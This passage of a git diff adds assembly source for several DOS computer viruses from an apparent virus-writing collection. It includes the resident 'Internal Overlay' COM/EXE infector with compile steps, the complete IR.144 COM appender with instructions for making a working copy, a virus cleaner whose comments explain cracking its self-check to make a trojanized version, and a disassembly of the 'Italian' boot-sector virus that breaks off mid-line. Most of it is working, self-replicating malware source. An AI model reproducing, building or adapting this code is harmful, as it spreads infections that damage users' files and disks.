COM and EXE files without modi- +; fying their headers! ;) In this way, it doesn't get detected under a +; very large number of CRC checkers which just compare the first bytes +; and the length of the files whose info it stores. +; +; Internal Overlay (IntOv for friends :) does this by inserting an over- +; lay loader at the entry point of the files it infects, and the corres- +; ponding overlay -the virus- at the end of the file, appended to the +; infected file in the traditional way :) +; +; It infects, as i told before, COM and EXE files on execution (4b00h) +; and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with re- +; location items in the entry point, unless this item is located in off- +; set 7 (PkLited files have an item there) ;) +; +; Compiling instructions: +; +; tasm /m intov.asm +; tlink intov.obj +; exe2bin intov.exe intov.com + + +assume cs:code,ds:code,ss:code,es:code +org 0 +code segment + +_BYTES = ((end_vir-start)+(ov_part-start)+15) +_PARAG = _BYTES/16 + +start: + +delta_ofs equ word ptr $+1 + mov si,100h ; Delta offset (precalc) + ; In dropper, 100h +id_mark equ word ptr $+1 + mov cx,'<>' ; Length to search for, it will be the + ; id mark: '<>'... why not? :) +reloc_pkl equ word ptr $+1 + mov bp,0000 ; For PkLite's relocation + mov es,ds:[2ch] ; es-> environment + xor ax,ax + xor di,di + repnz scasw ; Search for two consecutive zeros + ; Searching file name + inc di + inc di ; es:di -> file name + push cs + push ds + push es + push di + push ds + + mov ax,ds + dec ax + mov es,ax ; MCB access + ; ES-> MCB + mov bx,es:[0003] + sub bx,_PARAG+1 + pop es + mov ah,4ah + int 21h ; Free memory. If resident, doesn't return! + mov ah,48h + mov bx,_PARAG + int 21h ; Want some memory + mov es,ax + push cs + pop ds + + mov cx,offset(ov_part) + push si + xor di,di + rep movsb ; Move it to reserved area + pop si + mov ax,offset(new_mcb) + push es + push ax + retf ; Jump to reserved area + +new_mcb: + push ds + pop es ; es:= old cs + pop dx + pop ds + mov ax,3d00h + int 21h ; Open the file + xchg bx,ax ; bx:=handle + push cs + pop ds +long_high equ word ptr $+1 + mov cx,0000 +long_low equ word ptr $+1 + mov dx,offset(ov_part) ; For the dropper + mov ax,4200h + int 21h ; Get set in file + ; Point to 'overlay' + mov cx,offset(end_vir) + mov ah,3fh + mov dx,offset(ov_part) + int 21h ; Read the 'overlay' + mov ah,3eh ; We're up to here in the Entry Point + +;Ŀ +; Now, the virus overlay part +; + +ov_part: + int 21h ; Close file + push si + push si + pop di + mov si,offset(original) + mov cx,offset(ov_part) + rep movsb ; Restore original code in memory + pop si + push cs + pop ax + dec ax + mov es,ax ; es-> MCB + mov word ptr es:[0001],8 ; O.S. block + mov ax,3521h ; Get and change int 21h + int 21h + mov ofs_int21,bx + mov seg_int21,es + mov ah,25h + mov dx,offset(int_21) + int 21h +exec_host: + pop ds ; PSP + push si + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor bp,bp + xor si,si + xor di,di + push ds + pop es + retf ; jump to host + +c_com db 'COM' + db 'EXE' + db 'exe' + db 'com' + +c_21: + pushf + call dword ptr cs:[ofs_int21] + ret + +int_24: mov al,3 + iret + + db '[Internal Overlay, Tcp / 29A]' + +int_21: + cmp ah,4ah ; Can be our call + jne f_func + push ax + push di + mov ax,'<>' + sub ax,cx + shr di,1 + sub ax,di + inc ax ; If 0 -> our call + pop di + pop ax + jnz f_func + pop cx ; We're not interested in offset + pop di ; Interested in code segment + pop cx ; We're not interested in flags + pop dx + pop ds ; ds:dx -> file name + mov ax,3d00h + call c_21 ; Open file + xchg ax,bx ; bx:=handle + mov ds,di + mov cx,[si+long_high] ; Restore data + mov dx,[si+long_low] + add dx,offset(original)-offset(ov_part) + adc cx,0 + mov ax,4200h + int 21h ; Postion on overlay's portion that + ; keeps original code + mov dx,si + mov ah,3fh + mov cx,offset(ov_part) + int 21h ; We read + mov ah,3eh + int 21h ; We close the file + add [si+1],bp ; Reallocate Pklite's item (add 0 otherwise) + jmp exec_host + +f_func: + push bx + push cx + push dx + push bp + push ds + push es + push si + push di + push ax + mov di,dx + mov al,0 + mov cx,666h ;-) + repnz scasb + sub di,4 ; filename.ext + ; ^ + pop ax + push ax + cmp ax,4b00h ; file execution? + je is_exec + cmp ah,3dh ; open-file? + je check_ext +end_21: + pop ax + pop di + pop si + pop es + pop ds + pop bp + pop dx + pop cx + pop bx + db 0eah ; jmp far +ofs_int21 dw ? +seg_int21 dw ? + +check_ext: + push ds + push cs + pop ds + mov si,offset(c_com) + mov cx,4 +loop_ext: push si ; check valid extensions + push di + cmpsw + jne next_ext + cmpsb +next_ext: pop di + pop si + je ext_ok + add si,3 + loop loop_ext + pop ds + or cx,cx + jz end_21 +ext_ok: pop ds +is_exec: + cmp byte ptr ds:[di-2],'D' ; Don't infect command.com + jz end_21 + cmp byte ptr ds:[di-2],'d' + jz end_21 + mov ax,3524h ; Read and prepare int 24h + int 21h + push es + push bx + mov ah,25h + push ax ; 2524h + push ds + push dx + push cs + pop ds + mov dx,offset(int_24) + int 21h + pop dx + pop ds + mov ax,4300h + int 21h ; Get attribs + push cx + push ds + push dx + xor cx,cx + mov ax,4301h ; Reset all attribs + int 21h + jb rest_atribs + mov ax,3d02h + call c_21 ; Open the file I/O + push cs + pop ds + xchg ax,bx ; bx:=handle + mov ax,5700h + int 21h ; Get time/date + push dx + push cx + mov ah,3fh + mov dx,offset(header) + mov cx,1Ch + int 21h ; Read file header + mov ax,val_ip + mov delta_ofs,ax + xchg bp,ax ; bp:=val_ip + cmp signature,'ZM' ; EXE? + je exe + ; Assume it's a com + cmp byte ptr signature,0e9h ; jmp? + jne rest_hour + mov ax,word ptr signature+1 ; Offset jmp + add ax,3 ; Calculate file's offset + mov delta_ofs,ax + add delta_ofs,100h + xor dx,dx + xor cx,cx + jz exe&com + +rest_hour: mov ax,5701h ; Restore date/time + pop cx + pop dx + int 21h + mov ah,3eh ; We close + int 21h +rest_atribs: mov ax,4301h ; Restore attribs + pop dx + pop ds ; ds:dx -> file name + pop cx + int 21h + pop ax ; ax:=2524h + pop dx + pop ds + int 21h + jmp end_21 + +exe: + mov ax,header_size + mov cx,16 + mul cx ; ax:=header length + push ax + mov ax,val_cs + imul cx + add ax,bp ; bp:=val_ip + adc dx,0 ; dx:ax := cs:ip inside load module + mov cx,relo_items ; Number of reallocation items + jcxz items_ok + push cx + push ax + push dx + xor cx,cx ; Get on reallocation table + mov dx,ofs_reloc + mov ax,4200h + int 21h + pop dx + pop ax +read_items: + push ax + push dx + mov ah,3fh + mov dx,offset(original) + mov cx,20*4 ; Read 20 reallocacin items + int 21h + mov si,dx + mov di,-20*4 + pop dx + pop ax +process_item: pop cx + push bx + mov bx,[si] + cmpsw ; inc si, inc si, inc di, inc di + mov bp,[si] + cmpsw ; inc si, inc si, inc di, inc di + + sub bx,ax + sbb bp,dx + jnz next_item + cmp bx,offset(ov_part) ; Is it part of code? + jnbe next_item + cmp bx,7 ; PkLite's code? + pop bx + jnz bad_item + push bx +next_item: dec cx + pop bx + jcxz items_ok + or di,di ; We need read more items? + push cx + jnz process_item + jz read_items +items_ok: + pop cx ; cx:= header length +exe&com: add ax,cx + adc dx,0 ; dx:ax := cs:ip offset in file + push ax + push dx + mov cx,dx + xchg ax,dx ; = mov dx,ax + mov ax,4200h + int 21h ; get on the entry point + mov ah,3fh + mov cx,offset(ov_part) + mov dx,offset(original) + int 21h ; Read original code + sub ax,cx ; Have enough space? + jc no_inf + cmp pages,'<>' ; Id mark is in offset 4 + stc + je no_inf + mov ax,4202h ; Go to he end of file + xor cx,cx + cwd + int 21h + mov long_high,dx ; Save file-offset of code + mov long_low,ax + mov ah,40h ; 'Stick' to the file + mov cx,offset(end_vir) + mov dx,offset(ov_part) + int 21h +no_inf: pop cx + pop dx + jc alr_inf + mov reloc_pkl,0 + mov ax,4200h + int 21h ; Return to cs:ip + mov ah,40h + mov cx,offset(ov_part) + cwd + int 21h ; Write new code on entry-point + push cx +bad_item: pop cx +alr_inf: jmp rest_hour + +end_vir: + +original: +header: +signature dw 20cdh +image_size dw ? +pages dw ? +relo_items dw ? +header_size dw ? +mim_mem dw ? +max_mem dw ? +stack_seg dw ? +stack_ofs dw ? +checksum dw ? +val_ip dw ? +val_cs dw ? +ofs_reloc dw ? +overlays dw ? + +code ends + end start + diff --git a/i/IR144.ASM b/i/IR144.ASM new file mode 100755 index 0000000..0ad5754 --- /dev/null +++ b/i/IR144.ASM @@ -0,0 +1,123 @@ +; Virusname: IR.144 +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Ok, this is not one of the very tiny viruses out there today, but to +; date this is the smallest one I've ever made and since I never really +; care about size when I write my creations I think thisone's pretty ok. +; There are others out there on about 100 bytes that does the same, but +; who gives a shit? If you don't like thisone, take a look at my +; "fixed-up" version [UNIQ], also included in this issue of Insane +; Reality. +; +; In order to get thisone working it needs a host, so create the +; following bytes of code and then do a "copy /b dummy.com+ir144.com +; ready.com" and woha! A very working copy. +; +; ----------------------- +; .model tiny ; DUMMY.ASM +; .code +; org 100h +; +; sov: +; +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; +; end sov +; ----------------------- +.model tiny ; IR144.ASM +.radix 16 +.code + org 100 +start: + call get_offset + +get_offset: + pop bp ; get the + sub bp,offset get_offset ; delta offset + + lea si,[buffa_bytes+bp] ; restore our + mov di,100 ; first four + movsw ; bytes + movsw + + lea dx,[end_virus+bp] ; set the + mov ah,1a ; DTA to eov + int 21 + + lea dx,[find_files+bp] ; matching "*.com" + mov ah,4e ; find first +find_next: + int 21 + jc reset_DTA + + lea dx,[end_virus+1e+bp] + mov ax,3d02 ; open it + int 21 + + jc get_more + + xchg bx,ax + + mov cx,4 ; first four bytes + mov ah,3f ; read em + lea dx,[buffa_bytes+bp] ; and put them in + int 21 ; our buffer + + cmp byte ptr [buffa_bytes+bp+3],'V' ; check if already + jz close_em ; infected + + mov ax,4202 ; goto EOF + sub cx,cx + cwd + int 21 + + sub ax,3 + mov word ptr [bp+jump_bytes+1],ax ; use our 'jmp' bytes + + mov ah,40 ; write our + mov cx,end_virus-start ; viral code + lea dx,[bp+start] ; to victim file + int 21 + + mov ax,4200 ; goto SOF + sub cx,cx + cwd + int 21 + + mov ah,40 ; write our + mov cx,4 ; first four + lea dx,[bp+jump_bytes] ; bytes over + int 21 ; the original + +close_em: + mov ah,3e ; close file + int 21 + +get_more: + mov ah,4f ; find next + jmp find_next + +reset_DTA: + mov dx,80 ; reset the DTA + mov ah,1a + int 21 + + mov di,100 ; and return + push di ; to the original + ret ; program + + +find_files db '*.com',0 ; victim files +jump_bytes db 0e9,0,0,'V' ; our 'jmp' bytes + +buffa_bytes: ; the original first four bytes will be put here + xchg ax,ax ; nop + xchg ax,ax ; nop + int 20 ; ret(urn) to prompt + +end_virus: +end start \ No newline at end of file diff --git a/i/IRM_KILL.ASM b/i/IRM_KILL.ASM new file mode 100755 index 0000000..6a68633 --- /dev/null +++ b/i/IRM_KILL.ASM @@ -0,0 +1,295 @@ +; Binary Obsession Cleaner +; - By Ratman - + + +data_18e equ 9CDh ;* +data_19e equ 4F43h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +irm_kill proc far + +start: + + mov ah,9 + mov dx,offset data_1 ; ('IR Multi-Partite Virus K') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +;====( Here is the program's self-check routine )==============================; + + cmp word ptr ds:data_18e,3E8h + jne loc_1 + +; jmp short loc_1 ; 'Crack it' + +; If you want it 'cracked', exchange the jne loc_1 to "jmp short loc_1" and +; voila!.. Program run like it wasn't modified.. All trivia really, and +; very usuful if one want a trojanized version of this program :). + + mov ah,9 + mov dx,offset data_6 ; ('Scanner fails Self-Check') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; DOS program terminate + +loc_1: + mov ax,201h + mov bx,offset data_15 + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + cmp data_15,3E8h + jne loc_2 ; Jump if not equal + mov ah,9 + mov dx,offset data_2 ; ('Warning!: IR MultiPartit') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp ah,15h + jne loc_2 ; Jump if not equal + mov ax,201h + mov bx,offset data_15 + mov cx,2 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + mov ax,301h + mov bx,offset data_15 + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + mov ah,9 + mov dx,offset data_4 ; ('Drive C: MBR is now Clea') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_2: + mov ah,9 + mov dx,offset data_5 ; ('Scanning the files in th') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ah,2Fh + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ah,4Eh + mov cx,7 + mov dx,586h + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_4 ; Jump if carry Set +loc_3: + call sub_1 + mov ah,4Fh + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_3 ; Jump if carry=0 +loc_4: + jmp short $+3 ; delay for I/O + nop + int 20h ; DOS program terminate + +irm_kill endp + +sub_1 proc near + push ax + push bx + push cx + push dx + push di + push si + push es + push es + pop ds + push cs + pop es + mov si,bx + add si,1Eh + mov di,58Ch + mov cx,0Fh + push cx + push di + rep movsb + pop di + pop cx + xor al,al + cld + repne scasb + mov al,20h + rep stosb + mov byte ptr es:[di],24h ; '$' + pop es + push cs + pop ds + mov ah,9 + mov dx,58Ch + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ax,3D02h + mov dx,bx + add dx,1Eh + push es + pop ds + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + xor cx,cx ; Zero register + mov dx,ax + sub dx,1B9h ; EOF-441 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,3Fh + mov cx,1B9h ; 441 bytes + mov dx,offset data_15 + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp data_15,3E8h + jne loc_5 ; Jump if not equal + mov ah,9 + mov dx,offset data_9 ; ('is infected by IR MultiP') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp ah,15h + je loc_7 ; Jump if equal + mov ah,9 + mov dx,offset data_11 ; (' - No') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short loc_6 + db 90h +loc_5: + mov ah,9 + mov dx,offset data_8 ; ('is clean...') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_6: + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov data_15,0 + pop si + pop si + pop dx + pop cx + pop bx + pop ax + retn +loc_7: + mov ah,9 + mov dx,offset data_10 ; (' - Yes') + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,40h ; '@' + mov cx,3 + mov dx,offset data_17 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + xor cx,cx ; Zero register + mov dx,ax + sub dx,1B9h + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,40h ; '@' + mov cx,0 + mov dx,offset data_15 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop dx + pop cx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + jmp short loc_6 +sub_1 endp + +data_1 db 'IR Multi-Partite Virus Killer by' + db ' -+ RatMan +-', 0Ah, 0Dh +copyright db '(C) 1994 RatMan - This program i' + db 's free of charge for all use' + db 'rs.', 0Ah, 0Dh, 'DISCLAIMER: Thi' + db 's software is provided "AS IS" ' + db 'without warranty of any kind,', 0Ah + db 0Dh, 'either expressed or implied' + db ', including but not limmited to ' + db 'the fitness for', 0Ah, 0Dh, 'any' + db ' particular purpose. The entire ' + db 'risk as to its quality or perfor' + db 'mance', 0Ah, 0Dh, 'is assumed by' + db ' the user.', 0Ah, 0Dh, 0Ah, 0Dh, '$' +data_2 db 'Warning!: IR MultiPartite Virus ' + db 'found in MBR of Drive C: - Clean' + db ' (Y/N)', 0Ah, 0Dh, ' (I' + db 'f the System was booted from Dri' + db 've C: you should reboot', 0Ah, 0Dh + db ' from a clean floppy b' + db 'efore trying to clean your syste' + db 'm.....)', 7, 0Ah, 0Dh, 0Ah, 0Dh, '$' +data_4 db 'Drive C: MBR is now Clean......', 0Ah + db 0Dh, 0Ah, 0Dh, '$' +data_5 db 'Scanning the files in the Curren' + db 't Directory.....', 0Ah, 0Dh, 0Ah + db 0Dh, '$' +data_6 db 'Scanner fails Self-Check.....', 7 + db 0Ah, 0Dh, '$' +data_8 db 'is clean...', 0Dh, 0Ah, '$' +data_9 db 'is infected by IR MultiPartite V' + db 'irus - Clean ? (Y/N)', 7, '$' +data_10 db ' - Yes', 0Ah, 0Dh, '$' +data_11 db ' - No', 0Ah, 0Dh, '$' + db 0, 0 +data_12 db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h +data_13 db 1 + db 63 dup (1) +data_15 dw 0 + db 0 +data_17 db 0 + db 1021 dup (0) + +seg_a ends + end start diff --git a/i/ITALIANO.ASM b/i/ITALIANO.ASM new file mode 100755 index 0000000..2f0c335 --- /dev/null +++ b/i/ITALIANO.ASM @@ -0,0 +1,455 @@ +; ************************************************** +; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM *** +; *** Desassemblagem obtida por Miguel Vitorino *** +; *** Para : S P O O L E R - Junho de 1989 *** +; ************************************************** + +.RADIX 16 + +jmpf macro x + db 0eah + dd x +endm + +Virus SEGMENT +assume cs:virus;ds:virus + +jmpf MACRO x + db 0eah + dd x +ENDM + +org 0100h + +begin: jmp short entry + + db 1eh-2 dup (?) ; Informacao relativa a' disquete + +entry: xor ax,ax + mov ss,ax + mov sp,7c00 ; Colocar o Stack antes do inicio do + mov ds,ax ; virus + mov ax,ds:[0413] ; Retirar 2 K como se nao existissem + sub ax,2 ; para que o DOS nao la' chegue ! + mov ds:[0413],ax + mov cl,06 ; Converter o tamanho da RAM num + shl ax,cl ; numero de segmento que se situa nos + sub ax,07c0 ; 2 ultimos K + mov es,ax ; De seguida passar este programa + mov si,7c00 ; para esse sitio de memoria + mov di,si ; ( i.e. o programa transfere-se a si + mov cx,0100 ; proprio ) + repz movsw + mov cs,ax ; Transferencia de controlo para ai! + push cs ; Agora sim , ja' estamos nos tais 2K + pop ds + call reset ; fazer duas vezes um "reset" ao +reset: xor ah,ah ; controlador de disco + int 13 + and byte ptr ds:drive,80 + mov bx,ds:sector ; Sector onde esta' o resto do virus + push cs + pop ax + sub ax,0020 + mov es,ax + call ler_sector ; Ler o resto do virus da drive + mov bx,ds:sector + inc bx + mov ax,0ffc0 ; Carregar o sector de boot original + mov es,ax + call ler_sector + xor ax,ax + mov ds:estado,al + mov ds,ax + mov ax,ds:[004c] ; "Confiscar" o interrupt 13 + mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos ) + mov word ptr ds:[004c],offset int_13 + mov ds:[004e],cs + push cs + pop ds + mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13 + mov word ptr ds:velho_13+2,bx + mov dl,ds:drive + jmpf 0:7c00 ; Efectuar o arranque do sistema + +Esc_Sector proc near + mov ax,0301 ; Escrever um sector da drive + jmp short cs:transferir +Esc_Sector endp + +Ler_Sector proc near + mov ax,0201 ; Ler um sector da drive +Ler_Sector endp + +Transferir proc near ; Efectuar uma transferencia de dados + xchg ax,bx ; de ou para a drive + add ax,ds:[7c1c] ; Este procedimento tem como entrada + xor dx,dx ; o numero do sector pretendido ( BX ) + div ds:[7c18] ; e de seguida sao feitas as contas + inc dl ; para saber qual a pista e o lado + mov ch,dl ; onde esse sector fica + xor dx,dx + div ds:[7c1a] + mov cl,06 + shl ah,cl + or ah,ch + mov cx,ax + xchg ch,cl + mov dh,dl + mov ax,bx ; Depois de todas as contas feitas +transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H + mov bx,8000 ; es:bx = end. de transferencia + int 13 + jnb trans_exit + pop ax +trans_exit: ret +Transferir endp + +Int_13 proc near ; Rotina de atendimento ao int. 13H + push ds ; (operacoes sobre discos e disquetes) + push es + push ax + push bx + push cx + push dx + push cs + pop ds + push cs + pop es + test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus + jnz call_BIOS ; esta' no disco + cmp ah,2 + jnz call_BIOS + cmp ds:drive,dl ; Ver se a ultima drive que foi + mov ds:drive,dl ; mexida e' igual a' drive onde + jnz outra_drv ; se vai mexer + xor ah,ah ; Neste momento vai-se tirar a' sorte + int 1a ; para ver se o virus fica activo + test dh,7f ; Isto e' feito a partir da leitura + jnz nao_desp ; da hora e se for igual a um dado + test dl,0f0 ; numero , o virus e' despoletado + jnz nao_desp + push dx ; Instalar o movimento da bola + call despoletar + pop dx +nao_desp: mov cx,dx + sub dx,ds:semente + mov ds:semente,cx + sub dx,24 + jb call_BIOS +outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a + push si ; presenca ou nao do virus na drive + push di + call contaminar + pop di + pop si + and byte ptr ds:estado,0fe ; Indicar fim de teste de virus +call_BIOS: pop dx + pop cx + pop bx + pop ax + pop es + pop ds +Velho_13 equ $+1 + jmpf 0:0 +Int_13 endp + +Contaminar proc near + mov ax,0201 + mov dh,0 + mov cx,1 + call transf + test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ? + jz testar_drv ; Sim , passar a' contaminacao directa + mov si,81be + mov cx,4 +proximo: cmp byte ptr [si+4],1 + jz ler_sect + cmp byte ptr [si+4],4 + jz ler_sect + add si,10 + loop proximo + ret + +ler_sect: mov dx,[si] ; Cabeca+drive + mov cx,[si+2] ; Pista+sector inicial + mov ax,0201 ; Ler esse sector + call transf +testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para + mov di,7c02 ; ver se o sector de boot e' o mesmo + mov cx,1c ; i.e. ver se a drive ja' foi virada ! + repz movsb + cmp word ptr ds:[offset flag+0400],1357 + jnz esta_limpa + cmp byte ptr ds:flag_2,0 + jnb tudo_bom + mov ax,word ptr ds:[offset prim_dados+0400] + mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja' + mov si,ds:[offset sector+0400] ; esta' contaminada ! + jmp infectar +tudo_bom: ret + +; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora +; proceder a' respectiva contaminacao ! + +esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector + jnz tudo_bom + cmp byte ptr ds:[800dh],2 ; Sectores por cluster + jb tudo_bom + mov cx,ds:[800e] ; Sectores reservados + mov al,byte ptr ds:[8010] ; Numero de FAT's + cbw + mul word ptr ds:[8016] ; Numero de sectores de FAT + add cx,ax + mov ax,' ' + mul word ptr ds:[8011] ; Numero de entradas na root + add ax,01ff + mov bx,0200 + div bx + add cx,ax + mov ds:prim_dados,cx + mov ax,ds:[7c13] ; Numero de sectores da drive + sub ax,ds:prim_dados + mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster + xor dx,dx + xor bh,bh + div bx + inc ax + mov di,ax + and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior + cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao + jbe sao_3 ; 4 nibbles senao sao 3 + or byte ptr ds:estado,4 ; 4 = disco duro ? +sao_3: mov si,1 ; Escolher sector a infectar + mov bx,ds:[7c0e] ; Numero de sectores reservados + dec bx + mov ds:inf_sector,bx ; Sector a infectar + mov byte ptr ds:FAT_sector,0fe + jmp short continua + +Inf_Sector dw 1 ; Sector a infectar +Prim_Dados dw 0c ; Numero do primeiro sector de dados +Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc) +Drive db 1 ; Drive onde se pediu uma accao +Sector dw 0ec ; Sector auxiliar para procura do virus +Flag_2 db 0 ; Estes proximos valores servem para ver se o virus +Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando + dw 0aa55 ; comparar se estes valores batem certos para o saber + +continua: inc word ptr ds:inf_sector + mov bx,ds:inf_sector + add byte ptr ds:[FAT_sector],2 + call ler_sector + jmp short l7e4b + +; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na +; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do +; virus + +verificar: mov ax,3 ; Media descriptor + ff,ff + test byte ptr ds:estado,4 ; disco duro ? + jz l7e1d + inc ax ; Sim , FAT comeca 1 byte mais adiante +l7e1d: mul si ; Multiplicar pelo numero do cluster + shr ax,1 + sub ah,ds:FAT_sector + mov bx,ax + cmp bx,01ff + jnb continua + mov dx,[bx+8000] ; Ler a entrada na FAT + test byte ptr ds:estado,4 + jnz l7e45 + mov cl,4 + test si,1 + jz l7e42 + shr dx,cl +l7e42: and dh,0f +l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao + jz l7e51 ; descobriu-se um cluster para por o +l7e4b: inc si ; virus , senao passa-se ao proximo + cmp si,di ; cluster ate' achar um bom + jbe verificar + ret + +; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se +; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster +; como um "bad cluster" para o DOS nao aceder a ele + +l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7) + test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT + jnz l7e68 ; ( 3 ou 4 nibbles ) + and dh,0f + mov cl,4 + test si,1 + jz l7e68 + shl dx,cl +l7e68: or [bx+8000],dx + mov bx,word ptr ds:inf_sector ; Infectar sector !!! + call esc_sector + mov ax,si + sub ax,2 + mov bl,ds:7c0dh ; Numero de sectores por cluster + xor bh,bh + mul bx + add ax,ds:prim_dados + mov si,ax ; SI = sector a infectar + mov bx,0 ; Ler o sector de boot original + call ler_sector + mov bx,si + inc bx + call esc_sector ; ... e guarda'-lo depois do virus +infectar: mov bx,si + mov word ptr ds:sector,si + push cs + pop ax + sub ax,20 ; Escrever o resto do virus + mov es,ax + call esc_sector + push cs + pop ax + sub ax,40 + mov es,ax + mov bx,0 ; Escrever no sector de boot o virus + call esc_sector + ret +Contaminar endp + +Semente dw ? ; Esta word serve para fins de + ; temporizacao da bola a saltar +FAT_sector db 0 ; Diz qual e' o numero do sector que + ; se esta' a percorrer quando se + ; vasculha a FAT + +Despoletar proc near ; Comecar a mostrar a bola no ecran + test byte ptr ds:estado,2 ; Virus ja' esta' activo ? + jnz desp_exit ; Sim ,sair + or byte ptr ds:estado,2 ; Nao , marcar activacao + mov ax,0 + mov ds,ax + mov ax,ds:20 ; Posicionar interrupt 8 (relogio) + mov bx,ds:22 + mov word ptr ds:20,offset int_8 + mov ds:22,cs + push cs + pop ds ; E guardar a rotina anterior + mov word ptr ds:velho_8+8,ax + mov word ptr ds:velho_8+2,bx +desp_exit: ret +Despoletar endp + +Int_8 proc near ; Rotina de atendimento ao interrupt + push ds ; provocado pelo relogio 18.2 vezes + push ax ; por segundo . Neste procedimento + push bx ; e' que se faz o movimento da bola + push cx ; pelo ecran + push dx + push cs + pop ds + mov ah,0f ; Ver qual o tipo de modo de video + int 10 + mov bl,al + cmp bx,ds:modo_pag ; Comparar modo e pagina de video com + jz ler_cur ; os anteriores + mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo + dec ah ; de video + mov ds:colunas,ah ; Guardar o numero de colunas + mov ah,1 + cmp bl,7 ; Comparar modo com 7 (80x25 Mono) + jnz e_CGA + dec ah +e_CGA: cmp bl,4 ; Ve se e' modo grafico + jnb e_grafico + dec ah +e_grafico: mov ds:muda_attr,ah + mov word ptr ds:coordenadas,0101 + mov word ptr ds:direccao,0101 + mov ah,3 ; Ler a posicao do cursor + int 10 + push dx ; ... e guarda-la + mov dx,ds:coordenadas + jmp short limites + +ler_cur: mov ah,3 ; Ler a posicao do cursor ... + int 10 + push dx ; ... e guarda-la + mov ah,2 ; Posicionar o cursor no sitio da bola + mov dx,ds:coordenadas + int 10 + mov ax,ds:carat_attr + cmp byte ptr ds:muda_attr,1 + jnz mudar_atr + mov ax,8307 ; Atributos e carater 7 +mudar_atr: mov bl,ah ; Carregar carater 7 (bola) + mov cx,1 + mov ah,9 ; Escrever a bola no ecran + int 10 +limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no + cmp dh,0 ; ecran . Linha = 0 ? + jnz linha_1 + xor ch,0ff ; Mudar direccao + inc ch +linha_1: cmp dh,18 ; Linha = 24 ? + jnz coluna_1 + xor ch,0ff ; Mudar direccao + inc ch +coluna_1: cmp dl,0 ; Coluna = 0 ? + jnz coluna_2 + xor 